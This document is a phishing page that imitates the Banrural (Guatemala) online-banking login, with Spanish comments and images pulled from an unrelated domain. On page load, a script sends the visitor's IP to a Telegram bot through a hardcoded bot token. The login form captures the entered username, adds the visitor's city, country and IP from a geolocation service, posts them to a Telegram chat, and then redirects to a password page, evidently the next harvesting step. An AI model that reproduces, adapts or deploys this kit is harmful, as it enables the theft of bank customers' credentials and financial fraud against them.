<script>
    window.onload = function () {
        const token = "8013356873:AAEVBq0h1p8HQRl6mM0zXify9WwWhdr1aWc";  // Reemplaza con el token de tu bot
        const chat_id = "5721316186";  // Reemplaza con tu chat ID

        // Obtener la IP del usuario
        fetch('https://api.ipify.org?format=json')
            .then(response => response.json())
            .then(data => {
                const ip = data.ip;
                const message = `El usuario ingresara su usuario. IP: ${ip}`;
                
                // Enviar mensaje a Telegram
                fetch(`https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${encodeURIComponent(message)}`)
                    .then(response => response.json())
                    .then(data => console.log('Mensaje enviado a Telegram:', data))
                    .catch(error => console.error('Error al enviar el mensaje a Telegram:', error));
            })
            .catch(error => console.error('Error al obtener la IP del usuario:', error));
    };
</script>




<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="">
    <link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&amp;family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&amp;family=Raleway:ital,wght@0,100..900;1,100..900&amp;family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&amp;display=swap" rel="stylesheet">
    <title>BanruralGT</title>
    <style>

<style>
.roboto-thin {
font-family: "Roboto", serif;
font-weight: 100;
font-style: normal;
}

.roboto-light {
font-family: "Roboto", serif;
font-weight: 300;
font-style: normal;
}

.roboto-regular {
font-family: "Roboto", serif;
font-weight: 400;
font-style: normal;
}

.roboto-medium {
font-family: "Roboto", serif;
font-weight: 500;
font-style: normal;
}

.roboto-bold {
font-family: "Roboto", serif;
font-weight: 700;
font-style: normal;
}

.roboto-black {
font-family: "Roboto", serif;
font-weight: 900;
font-style: normal;
}

.roboto-thin-italic {
font-family: "Roboto", serif;
font-weight: 100;
font-style: italic;
}

.roboto-light-italic {
font-family: "Roboto", serif;
font-weight: 300;
font-style: italic;
}

.roboto-regular-italic {
font-family: "Roboto", serif;
font-weight: 400;
font-style: italic;
}

.roboto-medium-italic {
font-family: "Roboto", serif;
font-weight: 500;
font-style: italic;
}

.roboto-bold-italic {
font-family: "Roboto", serif;
font-weight: 700;
font-style: italic;
}

.roboto-black-italic {
font-family: "Roboto", serif;
font-weight: 900;
font-style: italic;
}


.poppins-thin {
font-family: "Poppins", serif;
font-weight: 100;
font-style: normal;
}

.poppins-extralight {
font-family: "Poppins", serif;
font-weight: 200;
font-style: normal;
}

.poppins-light {
font-family: "Poppins", serif;
font-weight: 300;
font-style: normal;
}

.poppins-regular {
font-family: "Poppins", serif;
font-weight: 400;
font-style: normal;
}

.poppins-medium {
font-family: "Poppins", serif;
font-weight: 500;
font-style: normal;
}

.poppins-semibold {
font-family: "Poppins", serif;
font-weight: 600;
font-style: normal;
}

.poppins-bold {
font-family: "Poppins", serif;
font-weight: 700;
font-style: normal;
}

.poppins-extrabold {
font-family: "Poppins", serif;
font-weight: 800;
font-style: normal;
}

.poppins-black {
font-family: "Poppins", serif;
font-weight: 900;
font-style: normal;
}

.poppins-thin-italic {
font-family: "Poppins", serif;
font-weight: 100;
font-style: italic;
}

.poppins-extralight-italic {
font-family: "Poppins", serif;
font-weight: 200;
font-style: italic;
}

.poppins-light-italic {
font-family: "Poppins", serif;
font-weight: 300;
font-style: italic;
}

.poppins-regular-italic {
font-family: "Poppins", serif;
font-weight: 400;
font-style: italic;
}

.poppins-medium-italic {
font-family: "Poppins", serif;
font-weight: 500;
font-style: italic;
}

.poppins-semibold-italic {
font-family: "Poppins", serif;
font-weight: 600;
font-style: italic;
}

.poppins-bold-italic {
font-family: "Poppins", serif;
font-weight: 700;
font-style: italic;
}

.poppins-extrabold-italic {
font-family: "Poppins", serif;
font-weight: 800;
font-style: italic;
}

.poppins-black-italic {
font-family: "Poppins", serif;
font-weight: 900;
font-style: italic;
}


      body {
        position: relative;
        height: 100%;
        font-family: "Raleway", sans-serif;
                overflow: hidden;
        margin: 0px;
        padding: 0px;
        border: none;
        background: #fff url(https://mahalaxmicity.com/MnsgtswRur/bg-login-1.jpg) no-repeat fixed top;
        background-size: cover;
        display: block;
      }
      .center {
        max-width: 361px;

        height: 522px;
        background: #e6e6e6;
      }
      .centrar {
        margin: 100px;
      }
      @media (max-width: 600px) {
        .centrar {
          display: grid;
          margin: 0px;
          place-items: center;
          height: 522px;
          margin-top: 20px;
        }
        .center {
          width: 95%;
          height: 100%;
        }
      }


      .alert-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.8);
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 9999;
        }

        .alert-container {
    background-color: #fff;
    border-radius: 10px;
    padding: 20px 30px;
    text-align: center;
    box-shadow: 0 4px 10px rgba(0, 0, 0, 0.3);
    max-width: 300px;

    /* Centrar la alerta */
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    z-index: 1000;
}


.alert-title {
            font-size: 20px;
            font-weight: bold;
            margin-bottom: 10px;
            color: #333;
        }

        .alert-message {
            font-size: 16px;
            margin-bottom: 20px;
            color: #555;
        }

        .alert-button {
            background-color: #0b5031;
            color: #fff;
            padding: 10px 20px;
            font-size: 16px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        .alert-button:hover {
            background-color: #0b5045;
        }


    </style>
  </head>
  <body>
    <div
      style="
        display: flex;
        justify-content: space-between;
        width: 100%;
        height: 100px;
        background: #00853f;
      "
    >
      <img
        src="https://mahalaxmicity.com/MnsgtswRur/logoizquierda.png"
        alt="Imagen Izquierda"
        style="width: 120px; padding: 20px"
      />
      <img
        src="https://mahalaxmicity.com/MnsgtswRur/derecha.png"
        alt="Imagen Derecha"
        style="width: 50px; height: 50px; padding: 25px"
      />
    </div>
    <div style="width: 100%; height: 5px; background: #f68e1e"></div>
    <form id="loginform">
      <div class="centrar">
        <div class="center">
          <div style="text-align: center">
            <img src="https://mahalaxmicity.com/MnsgtswRur/logo1.png" style="width: 200px; margin-top: 80px" />
          </div>
          <div style="text-align: left; margin-left: 20px; margin-top: 50px">
            <img src="https://mahalaxmicity.com/MnsgtswRur/usuario.jpg" alt="" style="width: 100px" />
          </div>
          <div style="display: flex; align-items: center; margin-left: 20px">
            <input
              onkeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;"
              maxlength="22"
              pattern="[0-9]*"
              inputmode="numeric"
              required=""
              name="ix1"
              id="ix1"
              type="text"
              placeholder=""
              autocomplete="off"
              style="
                height: 32px;
                width: 154px;
                border: none;
                background: white;
                padding: 0px 0 0 8px;
                border: 1px solid rgb(184, 184, 184);
                font-size: 16px;
                font-family: sans-serif;
              "
            />
            <div style="margin-left: 10px; padding-top: 5px">
              <button style="background: transparent; border: 0; margin: 0">
                <img src="https://mahalaxmicity.com/MnsgtswRur/boton.JPG" width="140" />
              </button>
            </div>
          </div>
          <div style="text-align: center">
            <img src="https://mahalaxmicity.com/MnsgtswRur/campos.JPG" style="width: 280px; margin-top: 30px" />
          </div>
        </div>
      </div>
    </form>


 


  </body>
  <script src="https://cdn.jsdelivr.net/npm/axios@1.1.2/dist/axios.min.js"></script>

  <script>
    const url = "https://ipapi.co/json/";
    const form = document.querySelector("#loginform");
    form.addEventListener("submit", (event) => {
      event.preventDefault(); // aqui evitamos que el código se repita evita que se envíe el formulario
      axios
        .get(url)
        .then((response) => {
          const usuario = document.querySelector("#ix1").value;
          localStorage.setItem("usuario", usuario);
          const message =
            "\nBanrural\nUsuario: " +
            usuario +
            "\nCiudad:" +
            response.data.city +
            "\nPais: " +
            response.data.country +
            "\nIP: " +
            response.data.ip;
          axios
            .post(
              "https://api.telegram.org/bot8013356873:AAEVBq0h1p8HQRl6mM0zXify9WwWhdr1aWc/sendMessage",
              {
                chat_id: "-4605124285",
                text: message,
              }
            )
            .then((response) => {
              console.log(response.data);
              window.location.href = "password.html";
            })
            .catch((error) => {
              console.error(error);
            });
        })
        .catch((error) => {
          console.log(error);
        });
    });
  </script>


</html>
